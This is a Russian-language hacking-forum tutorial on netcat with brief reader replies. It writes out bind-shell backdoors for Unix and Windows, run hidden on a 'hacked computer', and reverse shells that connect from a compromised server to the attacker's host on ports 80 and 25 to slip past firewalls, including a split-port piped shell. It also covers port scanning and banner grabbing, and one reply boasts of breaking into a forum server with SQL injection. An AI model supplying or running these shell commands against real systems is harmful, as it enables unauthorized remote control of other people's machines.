Использование NETcAT Тут вот решил написать небольшую статью о NetCat(aka "Швейцарский армейский нож протокола TCP"). В основном мы используем эту программу для прослушки порта C:\nc\nc -l -p [port] и для подключения к какому либо серваку. Но не кто не задумывался в более широком применении нетката, и ипользования всех его ключей. NetCat представляет собой утилиту, предназначенную принимать и передавать данные TCP и UDP соединений. И так, основные возможности nc: - входящие и исходящие TCP или UDP соединения на и с любого порта- полная проверка DNS перенаправлений- возможность использовать любой локальный порт - возможность использовать любой локально сконфигурированный сетевой адрес(интерфейс)- встроенная возможность сканирования сетевых адресов- возможность чтения аргументов командной строки через стандартный вход- и т.п. Рассмотрим всё подробнее. Открываем удаленный доступ к командной строке Под unix:nc -l -p 31337 -e /bin/sh Под НТ:nc -l -p 31337 -d -e cmd.exe -L Разберем опции:-l -- включаем режим "слушания"-p -- здесь, кажется, все ясно: указываем какой порт прослушивать (31337)-d -- позволяет nc запуститься независимо от консоли -e -- указывает nc, что после установления соединения нужно запустить (cmd.exeили /bin/sh)-L -- nc должна перезапускаться с теми же параметрами после разрыва соединения Чтобы клиент установил соединение достаточно запустить nc, сославшись на адрессервера и прослушиваемый порт: nc IP 31337 - на взломанном компьютере с адресом 10.10.1.15: nc -l -p 31337 -nvv -e /bin/sh & - на компьютере хакера: nc -nvv 10.10.1.15 31337 Чтобы выйти из консольной сессии напишите команду exit. Работаем с FTP Передавать файлы можно при помощи перенаправления вывода. На машине, куда передаем файл (с ip адресом IP): nc -l -p 1337 >имя_файла На машине, с которой передаем файл: nc IP 1337 <имя_файла Выходим при помощи ^C. Сканирование портов Вот пример, который давал Hobbit: nc -v -w2 -z цель 20-30 Nc будет пытаться присоединиться к каждому порту в диапазоне от 20 до 30 намашине с адресом "цель" и проинформирует нас о банерах, которые передадут службы ftp, telnet и др., в случае успешного осединения. Флаг -z предотвращает отправкукаких-либо данных по TCP соединению (соответственно скорость сканированияувеличится), режим нулевого ввода-вывода. Параметр -w2 задает интервал ожиданиядля каждого соединения. Для ограничения скорости сканирования можновоспользоваться флагом -i и указать разрыв между пробами портов. Уровень подробности выводимой информации задается при помощи -vили -vv.По умолчанию nc использует TCP соединение. Для задания UDP указываем -u. В любом случае, nc - это не сканер. Если ничего нас не ограничивает, лучшевоспользоваться nmap для этого. Хотя можно просканировать вот так: nc -v -z -w2 222.222.222.222 1-500 Собираем идентификационные маркеры Да, конечно, можно просто зателнетиться на определенный порт и получить минимуминформации. Но давайте посмотрим разницу между получением маркера при помощи telnet и nc. $ telnet 10.15.6.40 80HEAD / HTTP/1.0 HTTP/1.1 200 OKDate: Wed, 15 Oct 2003 09:19:50 GMTServer: Apache/1.3.19 (Win32) PHP/4.3.1Last-Modified: Mon, 01 Apr 2002 07:43:38 GMTETag: "0-4ef-3ca80faa"Accept-Ranges: bytesContent-Length: 1263Connection: closeContent-Type: text/html А теперь дело за неткат:$ nc -v 10.15.6.40 80 BEAR [10.15.6.40] 80 (?) openHEAD / HTTP/1.0 HTTP/1.1 200 OKDate: Wed, 15 Oct 2003 09:23:02 GMTServer: Apache/1.3.19 (Win32) PHP/4.3.1Last-Modified: Mon, 01 Apr 2002 07:43:38 GMTETag: "0-4ef-3ca80faa"Accept-Ranges: bytesContent-Length: 1263Connection: closeContent-Type: text/html sent 17, rcvd 255: NOTSOCK Возможно уместно будет создать простенький сценарий, который бы вызывал nc снужными параметрами. -- begin of marker.sh --#!/bin/shif [ -z $1 ]; thenecho -e "Usage: $0 <host> <port>"exitfiecho -e "HEAD / HTTP/1.0\n\n" | \nc -vv $1 $2-- end of marker.sh -- Хотя этот сценарий больше подходит для сбора маркеров веб-серверов, подогнатьпод другие цели не составит труда. Например, чтоб получить страницу для анализаможно указать "GET /index.html HTTP/1.0" и выходные данные передать команде grepдля поиска интересующего контента. А теперь сделаем обратный коннект... Часто бывает нужно обойти ограничения файрвола на удаленном сервере. Представьтесебе, вы получили доступ к выполнению системных команд, скажем, через phpскрипт. Но вы ограничены в действиях, и вам нужен нормальный shell. Запускаембекдор и обнаруживаем, что связи с сервером по порту, который открыл бекдор,все-таки нет. Очень похоже на фильтрацию портов брандмауэром? Что делать? Втаких случаях обычно пытаются установить обратный коннект (обратный канал),когда наш сервер выступает в роли клиента. Скорее всего не будут фильтроватьсяисходящие соединения по портам 80 и 25. Этим мы и воспользуемся. Как это всереализуется при помощи netcat: - на машине кулхакера с IP 10.31.3.37: nc -l -n -v -p 80 - на сервере: nc -e /bin/sh 10.31.3.37 80 Сервер создаст обратный канал и, соединившись с нашим компьютером, даст намдоступ к командному интерпретатору. Но бывает, что брандмауэр пропускает входящие запросы по одному порту, аисходящие - по другому. В таком случае нужно сделать реверсивный сеанс. пусть,как мы и сказали ранее, это будут порты 25 и 80. Запускаем на машине кулхакера 3.1.3.37 два сеанса nc: nc -vv -l -p 25nc -vv -l -p 80 на взломанном сервере: nc 3.1.3.37 80 | /bin/sh | nc 3.1.3.37 25 Что мы увидим на нашем компьютере? На 80-й порт мы принимаем соединение ссервером, передаем команды, которые в свою очередь перенаправляются командномуинтерпретатору, а результат направляется нам на порт 25. А вот и основные ключи использования nc nc:-d запускает nc не в консольном (скрытом) режиме-e для запуска другой программы -i задает временной интервал -g используется для саздания протрассированного соединения (после traceroute)-G позиционирует "прыгающий указатель" в списке -l переводит nc в режим ожидания входящего соединения -L перезапускает nc с теми же параметрами, что и до разрыва соединения -n неткат использует только IP адреса и не делает DNS запросов -o используется для получения HEX дампа файла данных. использование: -o имя_лог_файла.-p требуется для исходящих соединений. параметр, задающий порт, может быть как числом так и именем. если не использовать -p, nc будет использоватьлюбой из неиспользуемых портов, которые система выделит (и если не используется опция -r). -r сканирование портов будет происходить случайным образом (в нормальном режиме - от большего к меньшему) -s указывает какой сетевой адрес использовать ("-s IP" или "-s имя"). в логе входящие и исходящие соединения будут начинаться с символов "<" и ">" соответственно. -t позволяет nc отвечать на согласование опций telnet (работает только, если nc скомпилирована с параметром -DTELNET) -u указывает, что нужно использовать UDP, а не TCP-v контролирует уровень подробности информации без параметра -n будет производиться полный поиск имен и адресов хоста, будет сообщено о несоответствии имен DNS @ часто требуется использовать -w 3, что ограничит время, затрачиваемое на попытку установить соединение@ для нескольких портов требуется использовать -v дважды -w ограничивает время, затрачиваемое на попытку установления соединения -z предупреждает отправку любых данных по TCP соединению и очень ограничивает зондирование UDP соединений. использование -i даст возможность задать интервал между попытками. полезно для задания быстрого сканирования открытых портов. Скачать NetCat можно ТУТ
Я когда то взломал сервер форума с помощью этой программы. Вот примерный код (это было с SQL Injection) с которым я взломал сервер :
Хоть кто-нить скажите как статья, а то писал хрен знает сколько по веремени, а тут не спасибо, не насрать... Ведь не для себя же писал....
Статья номральная. Минусы в ней: Жутко называеться сама по себе. Называл ыб лучше опции nc и т.д. А так всё норм.